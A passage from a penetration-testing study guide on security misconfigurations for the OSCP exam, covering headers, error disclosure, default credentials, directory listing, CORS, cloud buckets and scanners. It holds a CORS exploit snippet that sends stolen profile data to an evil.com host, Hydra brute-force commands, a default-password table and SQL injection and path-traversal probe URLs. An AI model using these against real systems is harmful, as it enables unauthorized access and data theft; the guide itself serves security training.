Domain 2Web App AttacksCORE

Security Misconfiguration

Thorough guide to security misconfiguration vulnerabilities including missing headers, verbose errors, default credentials, directory listing, CORS issues, and cloud storage misconfigurations relevant to OSCP.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Misconfiguration#HTTP Headers#Information Disclosure#Default Credentials#OSCP

Security Misconfiguration — Deep-Dive Study Guide

OWASP Top 10 2021: A05: Security Misconfiguration

OSCP Relevance: HIGH — Misconfigurations are one of the most frequently exploited vulnerability classes on OSCP exam machines. Default credentials, exposed debug pages, directory listings, and verbose error messages routinely lead to initial footholds and privilege escalation paths.


Table of Contents

  1. What Is Security Misconfiguration?
  2. Complete Misconfiguration Catalog
  3. HTTP Security Headers — Deep Dive
  4. Information Disclosure via Error Messages
  5. Default Credentials Research
  6. Directory Listing Exploitation
  7. CORS Misconfiguration
  8. Cloud Storage Bucket Misconfigurations
  9. Server Version Detection and Fingerprinting
  10. Scanning Tools — Nikto, WhatWeb, and More
  11. HTTP Method Misconfigurations
  12. SSL/TLS Misconfigurations
  13. OSCP Exam Relevance and Common Patterns
  14. Methodology Checklist
  15. Mitigation Strategies

1. What Is Security Misconfiguration?

Security misconfiguration occurs when secure defaults are not applied, configurations are incomplete or ad hoc, cloud services are improperly set up, default accounts and passwords remain unchanged, error messages reveal excessive stack-trace information, or higher-level platform services are over-provisioned with permissions or access.

Unlike logic bugs or coding errors, misconfigurations are operational failures — the software may be perfectly secure, but the way it is deployed, configured, or maintained introduces exploitable weaknesses.

Why Misconfigurations Are So Prevalent

  • Complexity: Modern stacks involve dozens of components (web server, app server, database, cache, CDN, WAF, load balancer), each with its own configuration surface.
  • Speed over Security: Development and DevOps teams prioritize shipping features; security hardening is deferred.
  • Copy-Paste Culture: Configurations copied from tutorials, staging environments, or other projects often carry inherited weaknesses.
  • Lack of Auditing: Without automated configuration scanning, drift from secure baselines goes undetected.

The OSCP Mindset

On OSCP exams, every piece of information is a potential attack vector. A server header revealing Apache/2.4.49 tells you the exact version to search for CVEs. A stack trace revealing /var/www/html/config.php gives you the path to a sensitive file. A directory listing revealing backup.zip may contain source code with hardcoded credentials. Treat every misconfiguration as a stepping stone, not an endpoint.


2. Complete Misconfiguration Catalog

The following table catalogs the most common misconfigurations encountered in penetration testing and OSCP exams, organized by category.

Category Misconfiguration Impact Detection Method OSCP Frequency
HTTP Headers Missing X-Content-Type-Options MIME sniffing attacks curl -I response inspection Medium
HTTP Headers Missing X-Frame-Options Clickjacking curl -I response inspection Low
HTTP Headers Missing Content-Security-Policy XSS, data injection curl -I response inspection Medium
HTTP Headers Missing Strict-Transport-Security SSL stripping curl -I response inspection Medium
HTTP Headers Missing Referrer-Policy Information leakage via Referer curl -I response inspection Low
HTTP Headers Missing Permissions-Policy Browser feature abuse curl -I response inspection Low
Server Info Verbose error messages Technology fingerprinting Trigger 404/500 errors Very High
Server Info Server header exposes version CVE lookup curl -I response inspection Very High
Server Info X-Powered-By header present Framework identification curl -I response inspection High
Default Accounts Default admin credentials Full unauthorized access Credential brute-force Very High
Default Accounts Unchanged vendor defaults Service takeover Default credential lists Very High
Directory Listing Options +Indexes enabled File enumeration Browse to directories Very High
Directory Listing Backup files accessible Source code / credential exposure Directory brute-force Very High
Cloud Storage Public S3 / Azure Blob buckets Massive data exposure Bucket enumeration tools Medium
HTTP Methods TRACE method enabled Cross-site tracing (XST) OPTIONS request Low
HTTP Methods PUT / DELETE methods enabled Arbitrary file upload / deletion OPTIONS request Medium
SSL/TLS SSLv3 / TLS 1.0 enabled POODLE, BEAST attacks testssl.sh, SSL Labs Low
SSL/TLS Weak cipher suites Cipher downgrade attacks testssl.sh Low
CORS Access-Control-Allow-Origin: * Cross-origin data theft CORS testing Medium
CORS Reflective origin without validation Arbitrary origin access Origin header manipulation Medium
Debug Pages Debug endpoints exposed Full app introspection URL brute-force Very High
Git/SVN .git/ directory exposed Full source code disclosure Access .git/config Very High
Console Web console exposed (JMX, Tomcat) Remote code execution URL brute-force High
Robots.txt Sensitive paths in robots.txt Attack surface mapping Fetch /robots.txt High
Cookies Missing HttpOnly flag Cookie theft via XSS Cookie attribute inspection Medium
Cookies Missing Secure flag Cookie transmission over HTTP Cookie attribute inspection Medium
Cookies Missing SameSite attribute CSRF vulnerability Cookie attribute inspection Medium

3. HTTP Security Headers — Deep Dive

HTTP security headers are the first line of defense at the browser level. Their absence doesn’t directly create a vulnerability but significantly increases the attack surface by removing browser-enforced protections.

3.1 X-Content-Type-Options: nosniff

Purpose: Prevents the browser from performing MIME type sniffing. Without this header, a browser may interpret a file as a different MIME type than declared, enabling attacks where a text file is executed as JavaScript.

Missing Impact:

  • An attacker uploads a file with content type text/plain but containing JavaScript. The browser may execute it anyway.
  • Combined with other vulnerabilities, MIME sniffing can turn a file download into an XSS vector.

Detection:

curl -I https://target.com | grep -i x-content-type-options
# If no output, the header is missing

Recommended Value:

X-Content-Type-Options: nosniff

3.2 X-Frame-Options

Purpose: Controls whether the page can be embedded in an <iframe>, <object>, <embed>, or <frame>. Prevents clickjacking attacks where an attacker overlays an invisible iframe on top of a legitimate page.

Missing Impact:

  • The page can be framed by any site, enabling clickjacking.
  • An attacker can create a page that overlays transparent buttons, tricking users into clicking without knowing.

Detection:

curl -I https://target.com | grep -i x-frame-options

Recommended Values:

X-Frame-Options: DENY              # Never allow framing
X-Frame-Options: SAMEORIGIN        # Only allow framing from same origin
X-Frame-Options: ALLOW-FROM uri    # Allow framing from specific origin (deprecated)

Note: Modern applications should prefer Content-Security-Policy: frame-ancestors over X-Frame-Options as it provides more granular control.

3.3 Content-Security-Policy (CSP)

Purpose: The most powerful security header. CSP defines which sources of content the browser should load (scripts, styles, images, fonts, frames, etc.). It is the primary defense against XSS and data injection attacks.

Missing Impact:

  • Without CSP, any inline script or external script source can execute.
  • XSS payloads have no browser-level restriction.
  • Data injection attacks (SQLi output rendered as HTML) are more impactful.

Detection:

curl -I https://target.com | grep -i content-security-policy

Recommended Values (progressive strictness):

# Most restrictive — only same-origin resources
Content-Security-Policy: default-src 'self'

# Allow specific external resources
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

# With report-uri for monitoring
Content-Security-Policy: default-src 'self'; report-uri /csp-report

CSP Directives Reference:

Directive Controls Example
default-src Fallback for all other directives 'self'
script-src JavaScript sources 'self' https://cdn.com
style-src CSS sources 'self' 'unsafe-inline'
img-src Image sources 'self' data: https:
connect-src Fetch/XHR/WebSocket targets 'self' https://api.example.com
frame-ancestors Who can frame this page 'self' (replaces X-Frame-Options)
form-action Valid form submission targets 'self'
base-uri Valid <base> URLs 'self'
object-src Plugins (Flash, Java) 'none'
worker-src Web Worker sources 'self'
report-uri CSP violation reporting endpoint /csp-violations

OSCP Note: A weak or missing CSP is often a prerequisite for successful XSS exploitation on exam machines. Always check CSP when testing for XSS.

3.4 Strict-Transport-Security (HSTS)

Purpose: Instructs the browser to only access the site over HTTPS, preventing protocol downgrade attacks and cookie hijacking.

Missing Impact:

  • Users can be downgraded to HTTP via man-in-the-middle attacks.
  • Session cookies transmitted over HTTP can be intercepted.
  • SSL stripping attacks (e.g., sslstrip tool) become possible.

Detection:

curl -I https://target.com | grep -i strict-transport-security

Recommended Value:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Parameters:

  • max-age: Duration in seconds the browser should enforce HTTPS (31536000 = 1 year).
  • includeSubDomains: Apply to all subdomains.
  • preload: Eligible for browser HSTS preload lists.

3.5 X-XSS-Protection

Purpose: Enables the browser’s built-in XSS filter (legacy feature in older browsers).

Current Status: Deprecated in modern browsers (Chrome 78+, Firefox, Edge). CSP is the recommended replacement. However, it may still be relevant for older browser support.

Recommended Value (if used):

X-XSS-Protection: 1; mode=block

Warning: Setting X-XSS-Protection: 0 can actually disable the browser’s XSS filter, making the site more vulnerable on older browsers. Never set this to 0 unless you have a strong CSP in place.

3.6 Referrer-Policy

Purpose: Controls how much referrer information is sent with requests. Prevents sensitive URL parameters (tokens, IDs) from leaking to third-party sites.

Missing Impact:

  • Full URL (including query parameters with tokens) sent to any site the user navigates to.
  • Internal URLs and paths disclosed to external parties.

Detection:

curl -I https://target.com | grep -i referrer-policy

Recommended Values:

Referrer-Policy: strict-origin-when-cross-origin   # Best balance
Referrer-Policy: no-referrer                        # Most restrictive
Referrer-Policy: same-origin                        # Only send for same-origin

Policy Comparison:

Policy Same Origin Cross Origin Downgrade Cross Origin Upgrade
no-referrer No referrer No referrer No referrer
same-origin Full URL No referrer No referrer
strict-origin Origin only Origin only Origin only
strict-origin-when-cross-origin Full URL Origin only Origin only
no-referrer-when-downgrade Full URL Full URL Full URL

3.7 Permissions-Policy (formerly Feature-Policy)

Purpose: Controls which browser features and APIs can be used by the page and its iframes.

Missing Impact:

  • Malicious iframes or XSS payloads can access camera, microphone, geolocation, accelerometer, etc.
  • Increases the impact of any content injection vulnerability.

Recommended Value:

Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=(), usb=()

3.8 Cache-Control

Purpose: Controls browser and proxy caching behavior. Critical for pages containing sensitive data.

Missing Impact on Authenticated Pages:

  • Sensitive pages cached by browser or proxy.
  • Next user of the same machine sees previous user’s data.
  • Shared proxies cache authenticated responses.

Recommended Value for Sensitive Pages:

Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate
Pragma: no-cache
Expires: 0

4. Information Disclosure via Error Messages

Verbose error messages are one of the most valuable reconnaissance sources during an OSCP engagement. They reveal technology stacks, file paths, database schemas, and internal network topology.

4.1 Stack Traces

A stack trace reveals the call chain when an unhandled exception occurs. It is a goldmine of information:

What a Stack Trace Reveals:

  • Framework and version: Django version 3.2.5, Spring Framework 5.3.8
  • Absolute file paths: /var/www/html/app/controllers/UserController.php
  • Internal directory structure: Application layout, module organization
  • Database driver: mysql.connector, psycopg2
  • Line numbers: Exact location of vulnerable code

Example — Django Debug Page:

Environment:

Request Method: GET
Request URL: http://target.com/api/users/1

Django Version: 3.2.5
Python Version: 3.9.7

Installed Applications:
['django.contrib.admin',
 'django.contrib.auth',
 'myapp',
 'rest_framework']

Installed Middleware:
['django.middleware.security.SecurityMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware']

Traceback (most recent call last):
  File "/var/www/html/venv/lib/python3.9/site-packages/django/core/handlers/exception.py", line 47, in inner
    response = get_response(request)
  File "/var/www/html/myapp/views.py", line 128, in user_detail
    user = User.objects.get(id=user_id)

Exception Type: ObjectDoesNotExist at /api/users/1
Exception Value: User matching query does not exist.

OSCP Value: This single error reveals the full project path (/var/www/html/), the framework (Django 3.2.5), installed apps, middleware, and the exact file and line number of the vulnerable code.

Example — PHP Stack Trace:

Fatal error: Uncaught Error: Call to undefined function mysql_connect()
  in /var/www/html/includes/db.php on line 15

Call Stack:
    0.0002     359608   1. {main}() /var/www/html/index.php:0
    0.0015     365432   2. require_once('/var/www/html/includes/db.php') /var/www/html/index.php:5
    0.0018     365656   3. mysql_connect() /var/www/html/includes/db.php:15

OSCP Value: Reveals the database connection file path, the use of deprecated mysql_* functions (indicating older PHP), and the application’s include structure.

4.2 Database Error Messages

Database errors often reveal the database type, version, and query structure:

Error Message Database Information Revealed
You have an error in your SQL syntax near... MySQL MySQL version, query structure
ERROR: syntax error at or near... PostgreSQL PostgreSQL, query context
ORA-00933: SQL command not properly ended Oracle Oracle DB, query type
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' MSSQL MSSQL via ODBC, IIS
SQLite3::querySQL(): near "...": syntax error SQLite SQLite usage, embedded DB
MongoError: bad query MongoDB NoSQL database in use

Triggering Errors for Reconnaissance:

# SQL error triggering
curl "http://target.com/search?q=' OR 1=1--"
curl "http://target.com/search?q=\" UNION SELECT 1,2,3--"

# Path traversal error triggering
curl "http://target.com/file?name=../../etc/passwd"

# Null byte injection
curl "http://target.com/file?name=config.php%00"

4.3 Debug and Admin Pages

Common debug endpoints that may be left exposed:

Endpoint Technology What It Reveals
/debug Various Debug console, variables
/debug/pprof Go Performance profiling, goroutine info
/server-status Apache Server stats, current requests
/server-info Apache Full server configuration
/phpinfo.php PHP PHP version, extensions, paths, env vars
/info.php PHP Same as above (common name)
/trace Various HTTP trace output
/actuator/env Spring Boot Environment variables, config
/actuator/heapdump Spring Boot JVM heap dump
/actuator/configprops Spring Boot All configuration properties
/.env Node.js / Python Environment variables, API keys, DB creds
/wp-config.php.bak WordPress Database credentials
/config.php.bak PHP Application configuration
/elmah.axd .NET Error logging and history
/trace.axd .NET ASP.NET trace viewer
/manager/html Tomcat Tomcat manager console
/solr/ Solr Search engine admin
/jenkins/ Jenkins CI/CD console
/swagger-ui.html Various Full API documentation
/api-docs Various API endpoint listing
/graphql GraphQL Schema introspection

4.4 Version Disclosure Headers

Header Example Information Revealed
Server Apache/2.4.49 (Ubuntu) Web server + OS
X-Powered-By PHP/7.4.3 Runtime version
X-AspNet-Version 4.0.30319 .NET version
X-Generator WordPress 5.8 CMS version
X-Drupal-Cache HIT Drupal in use
X-AspNetMvc-Version 5.2 MVC framework version

Removing Version Disclosure:

# Apache — httpd.conf
ServerTokens Prod
ServerSignature Off
Header unset X-Powered-By
# Nginx — nginx.conf
server_tokens off;
# PHP — php.ini
expose_php = Off

5. Default Credentials Research

Default credentials are consistently one of the top findings on OSCP exam machines. Vendors ship products with well-known default accounts that administrators often fail to change.

5.1 Why Default Credentials Persist

  • Lazy administration: Admins deploy and forget to change defaults.
  • Documentation references: Internal docs reference default creds; admins reuse them.
  • Clone deployments: VM templates cloned without credential rotation.
  • Service accounts: Automated services configured with defaults and never updated.

5.2 Common Default Credentials by Service

Service Default Username Default Password OSCP Frequency
Tomcat tomcat tomcat Very High
Tomcat admin admin Very High
Tomcat root root High
Tomcat both tomcat Medium
phpMyAdmin root (blank) Very High
phpMyAdmin root root High
MySQL root (blank) Very High
MySQL root root High
PostgreSQL postgres postgres High
PostgreSQL postgres (blank) Medium
MongoDB (no auth by default) N/A High
Redis (no auth by default) N/A Medium
Jenkins admin (in /var/lib/jenkins/secrets/initialAdminPassword) High
Jenkins admin admin Medium
Drupal admin Various Medium
WordPress admin admin Medium
WordPress admin password Medium
Solr solr SolrRocks Medium
Elasticsearch elastic changeme Medium
Kibana elastic changeme Low
Hadoop hadoop hadoop Low
HBase hbase hbase Low
Webmin admin admin Medium
OpenVPN Admin admin admin Low
Cisco IOS cisco cisco Medium
SNMP public public (community string) Medium
SNMP private private (community string) Low
FTP anonymous anonymous Medium
FTP admin admin Medium
SSH root toor Low
SSH admin admin Medium
SSH ubuntu ubuntu Low

5.3 Default Credential Resources

Resource URL / Description Notes
Nmap default creds nmap -sV --script http-default-accounts Built-in NSE scripts
SecLists /usr/share/seclists/Passwords/Default-Credentials/ Kali pre-installed
Default Passwords DB dbo-pwd.db (open source) Comprehensive database
Geekboy default creds GitHub: default-passwords Community maintained
OWASP D4N155 OWASP Default Passwords DB OWASP project

5.4 Automated Default Credential Testing

# Nmap with default credential scripts
nmap -p 80,443,8080,8443 --script http-default-accounts -sV <target>

# Hydra for web login forms
hydra -l admin -P /usr/share/seclists/Passwords/Default-Credentials/http-default-passwords.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"

# Hydra for FTP
hydra -l admin -P default_passwords.txt <target> ftp

# Hydra for SSH
hydra -l root -P default_passwords.txt <target> ssh

# Medusa for multiple protocols
medusa -h <target> -u admin -P default_passwords.txt -M http

5.5 OSCP-Specific Default Credential Patterns

On OSCP machines, the following patterns appear with extremely high frequency:

  1. Tomcat Manager: /manager/html with tomcat:tomcat, admin:admin, or root:root
  2. phpMyAdmin: /phpmyadmin/ with root: (blank password)
  3. Drupal: /user/login with default admin accounts
  4. Jenkins: /login — check /var/lib/jenkins/secrets/initialAdminPassword if you have shell access
  5. SNMP: Community string public on UDP 161 — reveals system info, running processes, and sometimes passwords
  6. Web applications: Admin panels at /admin/ with admin:admin or admin:password

6. Directory Listing Exploitation

Directory listing occurs when a web server is configured to display the contents of a directory when no default index file (e.g., index.html) is present.

6.1 How Directory Listing Is Enabled

Apache:

# Enabled by default in some configurations
<Directory /var/www/html>
    Options +Indexes    # This enables directory listing
</Directory>

Nginx:

# Explicitly enabled
location /uploads/ {
    autoindex on;
}

IIS: Enabled via “Directory Browsing” feature in IIS Manager.

6.2 What Directory Listing Reveals

  • Backup files: backup.zip, site.sql, db.sql.gz
  • Configuration files: config.php, wp-config.php, .env
  • Source code: .git/, .svn/, src/ directories
  • Log files: access.log, error.log (may contain credentials)
  • Temporary files: ~file.php, file.php.swp, file.php.bak
  • Upload directories: User-uploaded files, potentially web shells
  • Hidden files: .htaccess, .gitignore, .DS_Store

6.3 Exploitation Workflow

Step 1: Identify directories with listing enabled
  └─ Browse to common directories: /uploads/, /backup/, /images/, /tmp/
  └─ Use directory brute-forcing (see below)

Step 2: Enumerate file contents
  └─ Look for backup files, config files, source code archives
  └─ Check for .git/ directory exposure

Step 3: Download and analyze
  └─ Download backup archives and extract
  └─ Search for credentials, API keys, database connections
  └─ Review source code for additional vulnerabilities

Step 4: Leverage findings
  └─ Use discovered credentials for login
  └─ Use file paths for LFI attacks
  └─ Use database dumps for further access

6.4 Directory Brute-Forcing Tools

# Gobuster (directory mode)
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,sql,conf,env,bak,old,swp

# Gobuster (with thread count and status codes)
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -s "200,204,301,302,307,403" -l

# ffuf (fuzz faster)
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.txt,.zip,.sql,.bak,.env,.git

# Dirsearch
dirsearch -u http://target.com -e php,txt,zip,sql,conf,env,bak,old,swp,js,html,xml,cgi,asp,aspx,jsp

# Burp Suite
# Intruder → Sniper cluster bomb → Directory wordlist

6.5 Critical Files to Look For

File / Pattern What It Contains Attack Value
.git/ Full Git repository git-dumper to recover all source code
.env Environment variables Database credentials, API keys, secrets
wp-config.php WordPress DB config MySQL credentials, auth keys
config.php App configuration DB creds, file paths, API keys
database.yml Rails DB config Database credentials
settings.py Django settings SECRET_KEY, DB creds
web.config IIS configuration Connection strings, app settings
backup.sql / db.sql Database dump Full data, user hashes
access.log HTTP access logs URLs, parameters, session IDs
error.log Error logs Stack traces, file paths
.htaccess Apache config Rewrites, auth configs
robots.txt Crawl directives Hidden paths, admin URLs
sitemap.xml Site structure All URLs, including admin
.DS_Store macOS metadata Directory structure
composer.json / package.json Dependencies Tech stack, version info
Dockerfile Container config Build steps, env vars
.dockerignore Docker exclusions Hidden file patterns

6.6 Git Repository Recovery

If .git/ is accessible, you can recover the entire source code:

# Using git-dumper
git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
python3 git-dumper.py http://target.com/.git/ /tmp/dumped_git

# Using wget
wget -r -np -nH --cut-dirs=0 http://target.com/.git/

# After dumping, check out the code
cd /tmp/dumped_git
git checkout .

# Search for credentials in recovered code
grep -rn "password\|secret\|api_key\|token\|credential" .

7. CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) is a mechanism that allows servers to specify which origins can access their resources. Misconfigured CORS policies can allow unauthorized cross-origin data access.

7.1 How CORS Works

Normal CORS Flow:

Browser (origin: evil.com) → Server (target.com)
  Request Header: Origin: https://evil.com

Server Response:
  Access-Control-Allow-Origin: https://trusted.com
  Access-Control-Allow-Credentials: true

Browser: Origin not allowed → Blocks response access

7.2 Common CORS Misconfigurations

Misconfiguration 1: Wildcard Origin with Credentials

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Impact: This combination is actually rejected by browsers (they don’t allow * with credentials). However, it indicates a fundamental misunderstanding of CORS by the developer and often coexists with other misconfigurations.

Misconfiguration 2: Reflective Origin (Most Dangerous)

# Server reflects whatever Origin header is sent
Request:  Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
          Access-Control-Allow-Credentials: true

Impact: Any attacker-controlled origin can access the resource with credentials (cookies, auth headers). This effectively disables same-origin policy for the affected endpoints.

Exploitation:

<!-- Hosted on attacker's site -->
<script>
fetch('https://target.com/api/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    // Send stolen data to attacker
    fetch('https://evil.com/steal?data=' + encodeURIComponent(JSON.stringify(data)));
});
</script>

Misconfiguration 3: Null Origin Allowed

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Impact: Requests from <iframe sandbox> contexts have an origin of null. This can be exploited via crafted iframes.

Misconfiguration 4: Empty Origin Header Accepted

# Server accepts requests with no Origin header and responds with:
Access-Control-Allow-Origin: *

Impact: Simple cross-origin requests (GET, POST with standard content types) don’t send an Origin header. If the server responds with *, these requests succeed.

7.3 CORS Testing Methodology

# Test 1: Check current CORS headers
curl -I -H "Origin: https://evil.com" https://target.com/api/data

# Test 2: Check if origin is reflected
curl -I -H "Origin: https://attacker.com" https://target.com/api/data
# If response contains: Access-Control-Allow-Origin: https://attacker.com → VULNERABLE

# Test 3: Check wildcard
curl -I https://target.com/api/data
# If response contains: Access-Control-Allow-Origin: * → Check credentials handling

# Test 4: Check null origin
curl -I -H "Origin: null" https://target.com/api/data
# If response contains: Access-Control-Allow-Origin: null → Potentially vulnerable

# Test 5: Check with credentials
curl -I -H "Origin: https://evil.com" -H "Cookie: session=abc123" https://target.com/api/data

7.4 CORS Testing with Burp Suite

  1. Intercept a request to the target API
  2. Add Origin: https://evil.com header
  3. Forward and check response for Access-Control-Allow-Origin
  4. If reflected, the endpoint is vulnerable
  5. Use the CORS Auditor extension for automated testing

7.5 Secure CORS Configuration

# Specific allowed origin
Access-Control-Allow-Origin: https://trusted-domain.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization

# NEVER use:
# Access-Control-Allow-Origin: *          (with credentials)
# Access-Control-Allow-Origin: <reflected> (reflective origin)

8. Cloud Storage Bucket Misconfigurations

Cloud storage misconfigurations are increasingly common in OSCP-style engagements and real-world assessments. Publicly accessible storage buckets can expose massive amounts of sensitive data.

8.1 AWS S3 Bucket Misconfigurations

Common S3 Vulnerabilities

Misconfiguration Description Impact
Public Read Access Bucket policy allows s3:GetObject for Principal: * Anyone can download all objects
Public Write Access Bucket policy allows s3:PutObject for Principal: * Anyone can upload/overwrite files
Open List Access Bucket policy allows s3:ListBucket for Principal: * Anyone can enumerate all objects
Weak Bucket Policy Overly permissive IAM policy Unauthorized access to bucket contents
Public ACL on Objects Individual objects set to public-read Specific files accessible

S3 Bucket Enumeration

# Using awscli (if configured)
aws s3 ls s3://bucket-name/
aws s3 cp s3://bucket-name/sensitive-file.txt .

# Using s3cmd
s3cmd ls s3://bucket-name/
s3cmd get s3://bucket-name/sensitive-file.txt .

# Using cloudbrute (bucket name brute-forcing)
cloudbrute -b aws-common-bucket-names.txt -t 50

# Using s3enum
python3 s3enum.py -w bucket_names.txt

# Using Gobuster for S3
gobuster s3 -w bucket_names.txt -t 50

# Manual check
curl https://bucket-name.s3.amazonaws.com/

S3 Bucket Policy Examples

Vulnerable (Public Read):

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "PublicRead",
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::my-bucket/*"
        }
    ]
}

Secure (Restricted Access):

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "RestrictToSpecificAccount",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789012:root"
            },
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::my-bucket/*"
        }
    ]
}

8.2 Azure Blob Storage Misconfigurations

Common Azure Vulnerabilities

Misconfiguration Description Impact
Public Container Container access level set to “Blob” or “Container” Public read/list access
Anonymous Access Shared Access Signature (SAS) with excessive permissions Unauthorized access
Weak Connection String Connection string exposed in code/config Full storage account access

Azure Blob Enumeration

# Check if container is public
curl https://storageaccount.blob.core.windows.net/container-name/

# Using Azurite or Azure CLI
az storage blob list --container-name container-name --account-name storageaccount

# Brute-force container names
for container in $(cat azure-container-names.txt); do
    curl -s -o /dev/null -w "%{http_code} $container\n" \
    "https://storageaccount.blob.core.windows.net/$container/"
done

8.3 Google Cloud Storage Misconfigurations

# Check if bucket is public
gsutil ls gs://bucket-name/

# Download public objects
gsutil cp gs://bucket-name/file.txt .

8.4 OSCP Relevance

While cloud storage misconfigurations are less common on traditional OSCP machines, they appear in:

  • Cloud-based exam machines (increasingly common)
  • Hybrid environments where internal apps reference cloud storage
  • Post-exploitation — after gaining access to a server, check for AWS CLI credentials in ~/.aws/credentials or environment variables

9. Server Version Detection and Fingerprinting

Identifying the exact software and versions running on a target is critical for vulnerability research and exploit selection.

9.1 Passive Fingerprinting

# HTTP response headers
curl -I https://target.com
curl -v https://target.com 2>&1 | grep -iE "server|powered-by|generator|x-aspmx-"

# Check error pages for version info
curl https://target.com/nonexistent-page-12345

# Check robots.txt for clues
curl https://target.com/robots.txt

# Check favicon for identification
curl -s https://target.com/favicon.ico | md5sum
# Compare hash with known favicon databases

9.2 Active Fingerprinting

# Nmap service version detection
nmap -sV -p 80,443,8080,8443,3000,5000,8000 <target>

# Nmap with script scanning
nmap -sV --script http-enum,http-title,http-server-header,http-generator <target>

# Nmap aggressive scan
nmap -A -p- <target>

# Full TCP scan with version detection
nmap -sS -sV -p- --min-rate 1000 <target>

9.3 Technology-Specific Fingerprinting

# WhatWeb — comprehensive technology detection
whatweb -v https://target.com
whatweb --tech-all https://target.com

# Wappalyzer (via browser extension or CLI)
wappalyzer https://target.com

# BuiltWith API (requires key)
curl "https://api.builtwith.com/profile1.json?APIKEY=xxx&LOOKUP=target.com"

# Identify CMS
cmsmap https://target.com

# Identify WordPress plugins
wpscan --url https://target.com --enumerate p

# Identify Joomla extensions
joomscan -u https://target.com

9.4 TLS/SSL Fingerprinting

# testssl.sh — comprehensive SSL/TLS analysis
testssl.sh https://target.com

# OpenSSL s_client
openssl s_client -connect target.com:443 -servername target.com

# Check specific protocol support
openssl s_client -connect target.com:443 -tls1
openssl s_client -connect target.com:443 -tls1_1
openssl s_client -connect target.com:443 -tls1_2
openssl s_client -connect target.com:443 -tls1_3

# Check cipher suites
nmap --script ssl-enum-ciphers -p 443 <target>

9.5 HTTP Method Detection

# Check allowed HTTP methods
curl -X OPTIONS https://target.com -v
curl -i -X OPTIONS https://target.com

# Test individual dangerous methods
curl -X TRACE https://target.com -v
curl -X PUT https://target.com -v
curl -X DELETE https://target.com -v
curl -X PATCH https://target.com -v

10. Scanning Tools — Nikto, WhatWeb, and More

10.1 Nikto

Nikto is a comprehensive web server scanner that checks for dangerous files/CGIs, outdated server software, and server configuration issues.

# Basic scan
nikto -h https://target.com

# Scan with output file
nikto -h https://target.com -o nikto_report.txt -Format txt

# Scan with custom port
nikto -h https://target.com -p 8080

# Scan with authentication
nikto -h https://target.com -id admin:password

# Scan with custom user-agent
nikto -h https://target.com -smozilla

# Scan with tuning (select specific tests)
nikto -h https://target.com -Tuning 112befx
# 1 = Interesting File (not rev)
# 2 = Misconfiguration / Default File
# 3 = Information Disclosure
# 4 = Injection (XSS/Script/Blind)
# 5 = Remote File Retrieval - Inside Web Root
# 6 = Denial of Service
# 7 = Remote File Retrieval - Server Wide
# 8 = Command Execution / Remote Shell
# 9 = SQL Injection
# a = Authentication Bypass
# b = Software Identification
# c  = Remote Source Inclusion
# d  = File Upload
# e  = Characteristic Traversal
# f  = HTTP Method
# x  = Experimental

# Scan with SSL
nikto -h https://target.com -ssl

# Scan with proxy
nikto -h https://target.com -proxy 127.0.0.1:8080

# Update Nikto plugins
nikto -update

Nikto Output Interpretation:

- OSVDB-3268: /admin/: Directory indexing found.
- OSVDB-3092: /admin/: This might be interesting...
- OSVDB-3268: /images/: Directory indexing found.
- OSVDB-564: /phpinfo.php: Output from phpinfo() found.
- OSVDB-3268: /server-status: Apache server-status page found.
- OSVDB-3092: /phpmyadmin/: phpMyAdmin is found.
- OSVDB-679: /changelog: Change log found.
- OSVDB-3092: /robots.txt: Robotstxt consists of 5 entries.
+ Server: Apache/2.4.49 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ /: The X-XSS-Protection header is not defined.
+ /: The Strict-Transport-Security header is not defined.
+ /: The Referrer-Policy header is not set.
+ 7155 requests: 0 error(s) and 33 item(s) reported on remote host

10.2 WhatWeb

WhatWeb identifies websites’ technologies, including CMS, blogging platforms, statistics/analytics packages, JavaScript libraries, web servers, and embedded devices.

# Basic identification
whatweb https://target.com

# Verbose output with all plugins
whatweb -v --tech-all https://target.com

# Output to file
whatweb https://target.com -o xml,whatweb_output.xml

# Follow redirects
whatweb --follow-redirect https://target.com

# Custom user-agent
whatweb -a 3 https://target.com
# -a 0: No identification
# -a 1: Standard user-agent
# -a 2: Add cookie "WhatWeb"
# -a 3: Add Google user-agent

10.3 Additional Scanning Tools

# OWASP ZAP — automated scanning
# Launch ZAP and use the "Spider" and "Active Scan" features
# Or use the CLI:
zap-baseline.py -t https://target.com

# Skipfish — web application security scanner
skipfish -o scan_results -S /usr/share/skipfish/dictionaries/complete.wrd https://target.com

# feroxbuster — fast directory brute-forcer
feroxbuster -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,sql

# nuclei — template-based vulnerability scanner
nuclei -u https://target.com -t cves/
nuclei -u https://target.com -t misconfigurations/
nuclei -u https://target.com -tags exposure,misconfiguration

11. HTTP Method Misconfigurations

11.1 TRACE Method and Cross-Site Tracing (XST)

